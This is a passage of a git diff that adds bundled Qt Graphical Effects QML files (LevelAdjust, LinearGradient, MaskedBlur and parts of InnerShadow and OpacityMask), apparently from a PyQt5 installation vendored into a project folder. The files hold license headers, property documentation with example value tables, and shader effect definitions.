horizontalOffset: 0 + \li \l horizontalOffset: 0 + \li \l horizontalOffset: 0 + \row + \li \l verticalOffset: 0 + \li \l verticalOffset: 0 + \li \l verticalOffset: 0 + \endtable + + */ + property real spread: 0.0 + + /*! + This property defines the RGBA color value which is used for the shadow. + + By default, the property is set to \c "black". + + \table + \header + \li Output examples with different color values + \li + \li + \row + \li \image InnerShadow_color1.png + \li \image InnerShadow_color2.png + \li \image InnerShadow_color3.png + \row + \li \b { color: #000000 } + \li \b { color: #ffffff } + \li \b { color: #ff0000 } + \row + \li \l radius: 16 + \li \l radius: 16 + \li \l radius: 16 + \row + \li \l samples: 24 + \li \l samples: 24 + \li \l samples: 24 + \row + \li \l horizontalOffset: 0 + \li \l horizontalOffset: 0 + \li \l horizontalOffset: 0 + \row + \li \l verticalOffset: 0 + \li \l verticalOffset: 0 + \li \l verticalOffset: 0 + \row + \li \l spread: 0.2 + \li \l spread: 0.2 + \li \l spread: 0.2 + \endtable + */ + property color color: "black" + + /*! + \qmlproperty real QtGraphicalEffects::InnerShadow::horizontalOffset + \qmlproperty real QtGraphicalEffects::InnerShadow::verticalOffset + + HorizontalOffset and verticalOffset properties define the offset for the + rendered shadow compared to the InnerShadow item position. Often, the + InnerShadow item is anchored so that it fills the source element. In + this case, if the HorizontalOffset and verticalOffset properties are set + to 0, the shadow is rendered fully inside the source item. By changing + the offset properties, the shadow can be positioned relatively to the + source item. + + The values range from -inf to inf. By default, the properties are set to + \c 0. + + \table + \header + \li Output examples with different horizontalOffset values + \li + \li + \row + \li \image InnerShadow_horizontalOffset1.png + \li \image InnerShadow_horizontalOffset2.png + \li \image InnerShadow_horizontalOffset3.png + \row + \li \b { horizontalOffset: -20 } + \li \b { horizontalOffset: 0 } + \li \b { horizontalOffset: 20 } + \row + \li \l radius: 16 + \li \l radius: 16 + \li \l radius: 16 + \row + \li \l samples: 24 + \li \l samples: 24 + \li \l samples: 24 + \row + \li \l color: #000000 + \li \l color: #000000 + \li \l color: #000000 + \row + \li \l verticalOffset: 0 + \li \l verticalOffset: 0 + \li \l verticalOffset: 0 + \row + \li \l spread: 0 + \li \l spread: 0 + \li \l spread: 0 + \endtable + + */ + property real horizontalOffset: 0 + property real verticalOffset: 0 + + /*! + This property selects the blurring algorithm that is used to produce the + softness for the effect. Setting this to true enables fast algorithm, + setting value to false produces higher quality result. + + By default, the property is set to \c false. + + \table + \header + \li Output examples with different fast values + \li + \li + \row + \li \image InnerShadow_fast1.png + \li \image InnerShadow_fast2.png + \row + \li \b { fast: false } + \li \b { fast: true } + \row + \li \l radius: 16 + \li \l radius: 16 + \row + \li \l samples: 24 + \li \l samples: 24 + \row + \li \l color: #000000 + \li \l color: #000000 + \row + \li \l horizontalOffset: 0 + \li \l horizontalOffset: 0 + \row + \li \l verticalOffset: 0 + \li \l verticalOffset: 0 + \row + \li \l spread: 0.2 + \li \l spread: 0.2 + \endtable + */ + property bool fast: false + + /*! + This property allows the effect output pixels to be cached in order to + improve the rendering performance. Every time the source or effect + properties are changed, the pixels in the cache must be updated. Memory + consumption is increased, because an extra buffer of memory is required + for storing the effect output. + + It is recommended to disable the cache when the source or the effect + properties are animated. + + By default, the property is set to \c false. + + */ + property bool cached: false + + Loader { + anchors.fill: parent + sourceComponent: rootItem.fast ? innerShadow : gaussianInnerShadow + } + + Component { + id: gaussianInnerShadow + GaussianInnerShadow { + anchors.fill: parent + source: rootItem.source + radius: rootItem.radius + maximumRadius: rootItem.samples * 0.5 + color: rootItem.color + cached: rootItem.cached + spread: rootItem.spread + horizontalOffset: rootItem.horizontalOffset + verticalOffset: rootItem.verticalOffset + } + } + + Component { + id: innerShadow + FastInnerShadow { + anchors.fill: parent + source: rootItem.source + blur: Math.pow(rootItem.radius / 64.0, 0.4) + color: rootItem.color + cached: rootItem.cached + spread: rootItem.spread + horizontalOffset: rootItem.horizontalOffset + verticalOffset: rootItem.verticalOffset + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/LevelAdjust.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/LevelAdjust.qml new file mode 100644 index 00000000..b98facaa --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/LevelAdjust.qml @@ -0,0 +1,440 @@ +/***************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Add-On Graphical Effects module. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +*****************************************************************************/ + +import QtQuick 2.12 +import QtGraphicalEffects.private 1.12 + +/*! + \qmltype LevelAdjust + \inqmlmodule QtGraphicalEffects + \since QtGraphicalEffects 1.0 + \inherits QtQuick2::Item + \ingroup qtgraphicaleffects-color + \brief Adjusts color levels in the RGBA color space. + + This effect adjusts the source item colors separately for each color + channel. Source item contrast can be adjusted and color balance altered. + + \table + \header + \li Source + \li Effect applied + \row + \li \image Original_butterfly.png + \li \image LevelAdjust_butterfly.png + \endtable + + \note This effect is available when running with OpenGL. + + \section1 Example + + The following example shows how to apply the effect. + \snippet LevelAdjust-example.qml example + +*/ +Item { + id: rootItem + + /*! + This property defines the source item that provides the source pixels + for the effect. + + \note It is not supported to let the effect include itself, for + instance by setting source to the effect's parent. + */ + property variant source + + /*! + This property defines the change factor for how the value of each pixel + color channel is altered according to the equation: + + \code + result.rgb = pow(original.rgb, 1.0 / gamma.rgb); + \endcode + + Setting the gamma values under QtVector3d(1.0, 1.0, 1.0) makes the image + darker, the values above QtVector3d(1.0, 1.0, 1.0) lighten it. + + The value ranges from QtVector3d(0.0, 0.0, 0.0) (darkest) to inf + (lightest). By default, the property is set to \c QtVector3d(1.0, 1.0, + 1.0) (no change). + + \table + \header + \li Output examples with different gamma values + \li + \li + \row + \li \image LevelAdjust_gamma1.png + \li \image LevelAdjust_gamma2.png + \li \image LevelAdjust_gamma3.png + \row + \li \b { gamma: Qt.vector3d(1.0, 1.0, 1.0) } + \li \b { gamma: Qt.vector3d(1.0, 0.4, 2.0) } + \li \b { gamma: Qt.vector3d(1.0, 0.1, 4.0) } + \row + \li \l minimumInput: #000000 + \li \l minimumInput: #000000 + \li \l minimumInput: #000000 + \row + \li \l maximumInput: #ffffff + \li \l maximumInput: #ffffff + \li \l maximumInput: #ffffff + \row + \li \l minimumOutput: #000000 + \li \l minimumOutput: #000000 + \li \l minimumOutput: #000000 + \row + \li \l maximumOutput: #ffffff + \li \l maximumOutput: #ffffff + \li \l maximumOutput: #ffffff + \endtable + + \table + \header + \li Pixel color channel luminance curves of the above images. + \li + \li + \row + \li \image LevelAdjust_default_curve.png + \li \image LevelAdjust_gamma2_curve.png + \li \image LevelAdjust_gamma3_curve.png + \row + \li X-axis: pixel original luminance + \li + \li + \row + \li Y-axis: color channel luminance with effect applied + \li + \li + \endtable + */ + property variant gamma: Qt.vector3d(1.0, 1.0, 1.0) + + /*! + This property defines the minimum input level for each color channel. It + sets the black-point, all pixels having lower value than this property + are rendered as black (per color channel). Increasing the value darkens + the dark areas. + + The value ranges from "#00000000" to "#ffffffff". By default, the + property is set to \c "#00000000" (no change). + + \table + \header + \li Output examples with different minimumInput values + \li + \li + \row + \li \image LevelAdjust_minimumInput1.png + \li \image LevelAdjust_minimumInput2.png + \li \image LevelAdjust_minimumInput3.png + \row + \li \b { minimumInput: #00000000 } + \li \b { minimumInput: #00000040 } + \li \b { minimumInput: #00000070 } + \row + \li \l maximumInput: #ffffff + \li \l maximumInput: #ffffff + \li \l maximumInput: #ffffff + \row + \li \l minimumOutput: #000000 + \li \l minimumOutput: #000000 + \li \l minimumOutput: #000000 + \row + \li \l maximumOutput: #ffffff + \li \l maximumOutput: #ffffff + \li \l maximumOutput: #ffffff + \row + \li \l gamma: Qt.vector3d(1.0, 1.0, 1.0) + \li \l gamma: Qt.vector3d(1.0, 1.0, 1.0) + \li \l gamma: Qt.vector3d(1.0, 1.0, 1.0) + \endtable + + \table + \header + \li Pixel color channel luminance curves of the above images. + \li + \li + \row + \li \image LevelAdjust_default_curve.png + \li \image LevelAdjust_minimumInput2_curve.png + \li \image LevelAdjust_minimumInput3_curve.png + \row + \li X-axis: pixel original luminance + \li + \li + \row + \li Y-axis: color channel luminance with effect applied + \li + \li + \endtable + + */ + property color minimumInput: Qt.rgba(0.0, 0.0, 0.0, 0.0) + + /*! + This property defines the maximum input level for each color channel. + It sets the white-point, all pixels having higher value than this + property are rendered as white (per color channel). + Decreasing the value lightens the light areas. + + The value ranges from "#ffffffff" to "#00000000". By default, the + property is set to \c "#ffffffff" (no change). + + \table + \header + \li Output examples with different maximumInput values + \li + \li + \row + \li \image LevelAdjust_maximumInput1.png + \li \image LevelAdjust_maximumInput2.png + \li \image LevelAdjust_maximumInput3.png + \row + \li \b { maximumInput: #FFFFFFFF } + \li \b { maximumInput: #FFFFFF80 } + \li \b { maximumInput: #FFFFFF30 } + \row + \li \l minimumInput: #000000 + \li \l minimumInput: #000000 + \li \l minimumInput: #000000 + \row + \li \l minimumOutput: #000000 + \li \l minimumOutput: #000000 + \li \l minimumOutput: #000000 + \row + \li \l maximumOutput: #ffffff + \li \l maximumOutput: #ffffff + \li \l maximumOutput: #ffffff + \row + \li \l gamma: Qt.vector3d(1.0, 1.0, 1.0) + \li \l gamma: Qt.vector3d(1.0, 1.0, 1.0) + \li \l gamma: Qt.vector3d(1.0, 1.0, 1.0) + \endtable + + \table + \header + \li Pixel color channel luminance curves of the above images. + \li + \li + \row + \li \image LevelAdjust_default_curve.png + \li \image LevelAdjust_maximumInput2_curve.png + \li \image LevelAdjust_maximumInput3_curve.png + \row + \li X-axis: pixel original luminance + \li + \li + \row + \li Y-axis: color channel luminance with effect applied + \li + \li + \endtable + + */ + property color maximumInput: Qt.rgba(1.0, 1.0, 1.0, 1.0) + + /*! + This property defines the minimum output level for each color channel. + Increasing the value lightens the dark areas, reducing the contrast. + + The value ranges from "#00000000" to "#ffffffff". By default, the + property is set to \c "#00000000" (no change). + + \table + \header + \li Output examples with different minimumOutput values + \li + \li + \row + \li \image LevelAdjust_minimumOutput1.png + \li \image LevelAdjust_minimumOutput2.png + \li \image LevelAdjust_minimumOutput3.png + \row + \li \b { minimumOutput: #00000000 } + \li \b { minimumOutput: #00000070 } + \li \b { minimumOutput: #000000A0 } + \row + \li \l minimumInput: #000000 + \li \l minimumInput: #000000 + \li \l minimumInput: #000000 + \row + \li \l maximumInput: #ffffff + \li \l maximumInput: #ffffff + \li \l maximumInput: #ffffff + \row + \li \l maximumOutput: #ffffff + \li \l maximumOutput: #ffffff + \li \l maximumOutput: #ffffff + \row + \li \l gamma: Qt.vector3d(1.0, 1.0, 1.0) + \li \l gamma: Qt.vector3d(1.0, 1.0, 1.0) + \li \l gamma: Qt.vector3d(1.0, 1.0, 1.0) + \endtable + + \table + \header + \li Pixel color channel luminance curves of the above images. + \li + \li + \row + \li \image LevelAdjust_default_curve.png + \li \image LevelAdjust_minimumOutput2_curve.png + \li \image LevelAdjust_minimumOutput3_curve.png + \row + \li X-axis: pixel original luminance + \li + \li + \row + \li Y-axis: color channel luminance with effect applied + \li + \li + \endtable + + */ + property color minimumOutput: Qt.rgba(0.0, 0.0, 0.0, 0.0) + + /*! + This property defines the maximum output level for each color channel. + Decreasing the value darkens the light areas, reducing the contrast. + + The value ranges from "#ffffffff" to "#00000000". By default, the + property is set to \c "#ffffffff" (no change). + + \table + \header + \li Output examples with different maximumOutput values + \li + \li + \row + \li \image LevelAdjust_maximumOutput1.png + \li \image LevelAdjust_maximumOutput2.png + \li \image LevelAdjust_maximumOutput3.png + \row + \li \b { maximumOutput: #FFFFFFFF } + \li \b { maximumOutput: #FFFFFF80 } + \li \b { maximumOutput: #FFFFFF30 } + \row + \li \l minimumInput: #000000 + \li \l minimumInput: #000000 + \li \l minimumInput: #000000 + \row + \li \l maximumInput: #ffffff + \li \l maximumInput: #ffffff + \li \l maximumInput: #ffffff + \row + \li \l minimumOutput: #000000 + \li \l minimumOutput: #000000 + \li \l minimumOutput: #000000 + \row + \li \l gamma: Qt.vector3d(1.0, 1.0, 1.0) + \li \l gamma: Qt.vector3d(1.0, 1.0, 1.0) + \li \l gamma: Qt.vector3d(1.0, 1.0, 1.0) + \endtable + + \table + \header + \li Pixel color channel luminance curves of the above images. + \li + \li + \row + \li \image LevelAdjust_default_curve.png + \li \image LevelAdjust_maximumOutput2_curve.png + \li \image LevelAdjust_maximumOutput3_curve.png + \row + \li X-axis: pixel original luminance + \li + \li + \row + \li Y-axis: color channel luminance with effect applied + \li + \li + \endtable + */ + property color maximumOutput: Qt.rgba(1.0, 1.0, 1.0, 1.0) + + /*! + This property allows the effect output pixels to be cached in order to + improve the rendering performance. + + Every time the source or effect properties are changed, the pixels in + the cache must be updated. Memory consumption is increased, because an + extra buffer of memory is required for storing the effect output. + + It is recommended to disable the cache when the source or the effect + properties are animated. + + By default, the property is set to \c false. + */ + property bool cached: false + + SourceProxy { + id: sourceProxy + input: rootItem.source + interpolation: input && input.smooth ? SourceProxy.LinearInterpolation : SourceProxy.NearestInterpolation + } + + ShaderEffectSource { + id: cacheItem + anchors.fill: parent + visible: rootItem.cached + smooth: true + sourceItem: shaderItem + live: true + hideSource: visible + } + + ShaderEffect { + id: shaderItem + property variant source: sourceProxy.output + property variant minimumInputRGB: Qt.vector3d(rootItem.minimumInput.r, rootItem.minimumInput.g, rootItem.minimumInput.b) + property variant maximumInputRGB: Qt.vector3d(rootItem.maximumInput.r, rootItem.maximumInput.g, rootItem.maximumInput.b) + property real minimumInputAlpha: rootItem.minimumInput.a + property real maximumInputAlpha: rootItem.maximumInput.a + property variant minimumOutputRGB: Qt.vector3d(rootItem.minimumOutput.r, rootItem.minimumOutput.g, rootItem.minimumOutput.b) + property variant maximumOutputRGB: Qt.vector3d(rootItem.maximumOutput.r, rootItem.maximumOutput.g, rootItem.maximumOutput.b) + property real minimumOutputAlpha: rootItem.minimumOutput.a + property real maximumOutputAlpha: rootItem.maximumOutput.a + property variant gamma: Qt.vector3d(1.0 / Math.max(rootItem.gamma.x, 0.0001), 1.0 / Math.max(rootItem.gamma.y, 0.0001), 1.0 / Math.max(rootItem.gamma.z, 0.0001)) + anchors.fill: parent + + fragmentShader: "qrc:/qt-project.org/imports/QtGraphicalEffects/shaders/leveladjust.frag" + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/LinearGradient.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/LinearGradient.qml new file mode 100644 index 00000000..1f73a218 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/LinearGradient.qml @@ -0,0 +1,323 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Graphical Effects module. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtGraphicalEffects.private 1.12 + +/*! + \qmltype LinearGradient + \inqmlmodule QtGraphicalEffects + \since QtGraphicalEffects 1.0 + \inherits QtQuick2::Item + \ingroup qtgraphicaleffects-gradient + \brief Draws a linear gradient. + + A gradient is defined by two or more colors, which are blended seamlessly. + The colors start from the given start point and end to the given end point. + + \table + \header + \li Effect applied + \row + \li \image LinearGradient.png + \endtable + + \note This effect is available when running with OpenGL. + + \section1 Example + + The following example shows how to apply the effect. + \snippet LinearGradient-example.qml example + +*/ +Item { + id: rootItem + + /*! + This property defines the starting point where the color at gradient + position of 0.0 is rendered. Colors at larger position values are + rendered linearly towards the end point. The point is given in pixels + and the default value is Qt.point(0, 0). Setting the default values for + the start and \l{LinearGradient::end}{end} results in a full height + linear gradient on the y-axis. + + \table + \header + \li Output examples with different start values + \li + \li + \row + \li \image LinearGradient_start1.png + \li \image LinearGradient_start2.png + \li \image LinearGradient_start3.png + \row + \li \b { start: QPoint(0, 0) } + \li \b { start: QPoint(150, 150) } + \li \b { start: QPoint(300, 0) } + \row + \li \l end: QPoint(300, 300) + \li \l end: QPoint(300, 300) + \li \l end: QPoint(300, 300) + \endtable + + */ + property variant start: Qt.point(0, 0) + + /*! + This property defines the ending point where the color at gradient + position of 1.0 is rendered. Colors at smaller position values are + rendered linearly towards the start point. The point is given in pixels + and the default value is Qt.point(0, height). Setting the default values + for the \l{LinearGradient::start}{start} and end results in a full + height linear gradient on the y-axis. + + \table + \header + \li Output examples with different end values + \li + \li + \row + \li \image LinearGradient_end1.png + \li \image LinearGradient_end2.png + \li \image LinearGradient_end3.png + \row + \li \b { end: Qt.point(300, 300) } + \li \b { end: Qt.point(150, 150) } + \li \b { end: Qt.point(300, 0) } + \row + \li \l start: Qt.point(0, 0) + \li \l start: Qt.point(0, 0) + \li \l start: Qt.point(0, 0) + \endtable + + */ + property variant end: Qt.point(0, height) + + /*! + This property allows the effect output pixels to be cached in order to + improve the rendering performance. + + Every time the source or effect properties are changed, the pixels in + the cache must be updated. Memory consumption is increased, because an + extra buffer of memory is required for storing the effect output. + + It is recommended to disable the cache when the source or the effect + properties are animated. + + By default, the property is set to \c false. + */ + property bool cached: false + + /*! + This property defines the item that is going to be filled with gradient. + Source item gets rendered into an intermediate pixel buffer and the + alpha values from the result are used to determine the gradient's pixels + visibility in the display. The default value for source is undefined and + in that case whole effect area is filled with gradient. + + \table + \header + \li Output examples with different source values + \li + \li + \row + \li \image LinearGradient_maskSource1.png + \li \image LinearGradient_maskSource2.png + \row + \li \b { source: undefined } + \li \b { source: Image { source: images/butterfly.png } } + \row + \li \l start: Qt.point(0, 0) + \li \l start: Qt.point(0, 0) + \row + \li \l end: Qt.point(300, 300) + \li \l end: Qt.point(300, 300) + \endtable + + \note It is not supported to let the effect include itself, for + instance by setting source to the effect's parent. + */ + property variant source + + + /*! + A gradient is defined by two or more colors, which are blended + seamlessly. The colors are specified as a set of GradientStop child + items, each of which defines a position on the gradient from 0.0 to 1.0 + and a color. The position of each GradientStop is defined by the + position property, and the color is definded by the color property. + + \table + \header + \li Output examples with different gradient values + \li + \li + \row + \li \image LinearGradient_gradient1.png + \li \image LinearGradient_gradient2.png + \li \image LinearGradient_gradient3.png + \row + \li \b {gradient:} \code + Gradient { + GradientStop { + position: 0.000 + color: Qt.rgba(1, 0, 0, 1) + } + GradientStop { + position: 0.167 + color: Qt.rgba(1, 1, 0, 1) + } + GradientStop { + position: 0.333 + color: Qt.rgba(0, 1, 0, 1) + } + GradientStop { + position: 0.500 + color: Qt.rgba(0, 1, 1, 1) + } + GradientStop { + position: 0.667 + color: Qt.rgba(0, 0, 1, 1) + } + GradientStop { + position: 0.833 + color: Qt.rgba(1, 0, 1, 1) + } + GradientStop { + position: 1.000 + color: Qt.rgba(1, 0, 0, 1) + } + } + \endcode + \li \b {gradient:} \code + Gradient { + GradientStop { + position: 0.0 + color: "#F0F0F0" + } + GradientStop { + position: 0.5 + color: "#000000" + } + GradientStop { + position: 1.0 + color: "#F0F0F0" + } + } + \endcode + \li \b {gradient:} \code + Gradient { + GradientStop { + position: 0.0 + color: "#00000000" + } + GradientStop { + position: 1.0 + color: "#FF000000" + } + } + \endcode + \row + \li \l start: Qt.point(0, 0) + \li \l start: Qt.point(0, 0) + \li \l start: Qt.point(0, 0) + \row + \li \l end: Qt.point(300, 300) + \li \l end: Qt.point(300, 300) + \li \l end: Qt.point(300, 300) + \endtable + + */ + property Gradient gradient: Gradient { + GradientStop { position: 0.0; color: "white" } + GradientStop { position: 1.0; color: "black" } + } + + SourceProxy { + id: maskSourceProxy + input: rootItem.source + } + + ShaderEffectSource { + id: gradientSource + sourceItem: Rectangle { + width: 16 + height: 256 + gradient: rootItem.gradient + smooth: true + } + smooth: true + hideSource: true + visible: false + } + + ShaderEffectSource { + id: cacheItem + anchors.fill: parent + visible: rootItem.cached + smooth: true + sourceItem: shaderItem + live: true + hideSource: visible + } + + ShaderEffect { + id: shaderItem + + anchors.fill: parent + + property variant source: gradientSource + property variant maskSource: maskSourceProxy.output + property variant startPoint: Qt.point(start.x / width, start.y / height) + property real dx: end.x - start.x + property real dy: end.y - start.y + property real l: 1.0 / Math.sqrt(Math.pow(dx / width, 2.0) + Math.pow(dy / height, 2.0)) + property real angle: Math.atan2(dx, dy) + property variant matrixData: Qt.point(Math.sin(angle), Math.cos(angle)) + + vertexShader: "qrc:/qt-project.org/imports/QtGraphicalEffects/shaders/lineargradient.vert" + + fragmentShader: maskSource == undefined ? noMaskShader : maskShader + + onFragmentShaderChanged: lChanged() + + property string maskShader: "qrc:/qt-project.org/imports/QtGraphicalEffects/shaders/lineargradient_mask.frag" + property string noMaskShader: "qrc:/qt-project.org/imports/QtGraphicalEffects/shaders/lineargradient_nomask.frag" + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/MaskedBlur.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/MaskedBlur.qml new file mode 100644 index 00000000..d777b0ae --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/MaskedBlur.qml @@ -0,0 +1,218 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Copyright (C) 2017 Jolla Ltd, author: +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Graphical Effects module. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtGraphicalEffects.private 1.12 + +/*! + \qmltype MaskedBlur + \inqmlmodule QtGraphicalEffects + \since QtGraphicalEffects 1.0 + \inherits QtQuick2::Item + \ingroup qtgraphicaleffects-blur + \brief Applies a blur effect with a varying intesity. + + MaskedBlur effect softens the image by blurring it. The intensity of the + blur can be controlled for each pixel using maskSource so that some parts of + the source are blurred more than others. + + Performing blur live is a costly operation. Fullscreen gaussian blur + with even a moderate number of samples will only run at 60 fps on highend + graphics hardware. + + \table + \header + \li Source + \li MaskSource + \li Effect applied + \row + \li \image Original_bug.png + \li \image MaskedBlur_mask.png + \li \image MaskedBlur_bug.png + \endtable + + \note This effect is available when running with OpenGL. + + \section1 Example + + The following example shows how to apply the effect. + \snippet MaskedBlur-example.qml example + +*/ +Item { + id: root + + /*! + This property defines the source item that is going to be blurred. + + \note It is not supported to let the effect include itself, for + instance by setting source to the effect's parent. + */ + property alias source: blur.source + + /*! + This property defines the item that is controlling the final intensity + of the blur. The pixel alpha channel value from maskSource defines the + actual blur radius that is going to be used for blurring the + corresponding source pixel. + + Opaque maskSource pixels produce blur with specified + \l{MaskedBlur::radius}{radius}, while transparent pixels suppress the + blur completely. Semitransparent maskSource pixels produce blur with a + radius that is interpolated according to the pixel transparency level. + */ + property alias maskSource: maskProxy.input + + /*! + This property defines the distance of the neighboring pixels which + affect the blurring of an individual pixel. A larger radius increases + the blur effect. + + Depending on the radius value, value of the + \l{MaskedBlur::samples}{samples} should be set to sufficiently large to + ensure the visual quality. + + The value ranges from 0.0 (no blur) to inf. By default, the property is + set to \c 0.0 (no blur). + + \table + \header + \li Output examples with different radius values + \li + \li + \row + \li \image MaskedBlur_radius1.png + \li \image MaskedBlur_radius2.png + \li \image MaskedBlur_radius3.png + \row + \li \b { radius: 0 } + \li \b { radius: 8 } + \li \b { radius: 16 } + \row + \li \l samples: 25 + \li \l samples: 25 + \li \l samples: 25 + \endtable + + */ + property alias radius: blur.radius + + /*! + This property defines how many samples are taken per pixel when blur + calculation is done. Larger value produces better quality, but is slower + to render. + + Ideally, this value should be twice as large as the highest required + radius value plus 1, for example, if the radius is animated between 0.0 + and 4.0, samples should be set to 9. + + By default, the property is set to \c 9. + + This property is not intended to be animated. Changing this property may + cause the underlying OpenGL shaders to be recompiled. + */ + property alias samples: blur.samples + + /*! + This property allows the effect output pixels to be cached in order to + improve the rendering performance. Every time the source or effect + properties are changed, the pixels in the cache must be updated. Memory + consumption is increased, because an extra buffer of memory is required + for storing the effect output. + + It is recommended to disable the cache when the source or the effect + properties are animated. + + By default, the property is set to \c false. + + */ + property alias cached: cacheItem.visible + + /*! + \internal + + Kept for source compatibility only. Removed in Qt 5.6 + ### Qt6: remove + */ + property bool fast: false + + /*! + \internal + + Kept for source compatibility only. Removed in Qt 5.6 + + Doing transparent border on a masked source doesn't make any sense + as the padded exterior will have a mask alpha value of 0 which means + no blurring and as the padded exterior of the source is a transparent + pixel, the result is no pixels at all. + + In Qt 5.6 and before, this worked based on that the mask source + was scaled up to fit the padded blur target rect, which would lead + to inconsistent and buggy results. + + ### Qt6: remove + */ + property bool transparentBorder; + + GaussianBlur { + id: blur + + source: root.source; + anchors.fill: parent + _maskSource: maskProxy.output; + + SourceProxy { + id: maskProxy + } + } + + ShaderEffectSource { + id: cacheItem + x: -blur._kernelRadius + y: -blur._kernelRadius + width: blur.width + 2 * blur._kernelRadius + height: blur.height + 2 * blur._kernelRadius + visible: false + smooth: true + sourceRect: Qt.rect(-blur._kernelRadius, -blur._kernelRadius, width, height); + sourceItem: blur + hideSource: visible + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/OpacityMask.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/OpacityMask.qml new file mode 100644 index 00000000..7dffb6d4 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/OpacityMask.qml @@ -0,0 +1,162 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Graphical Effects module. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU 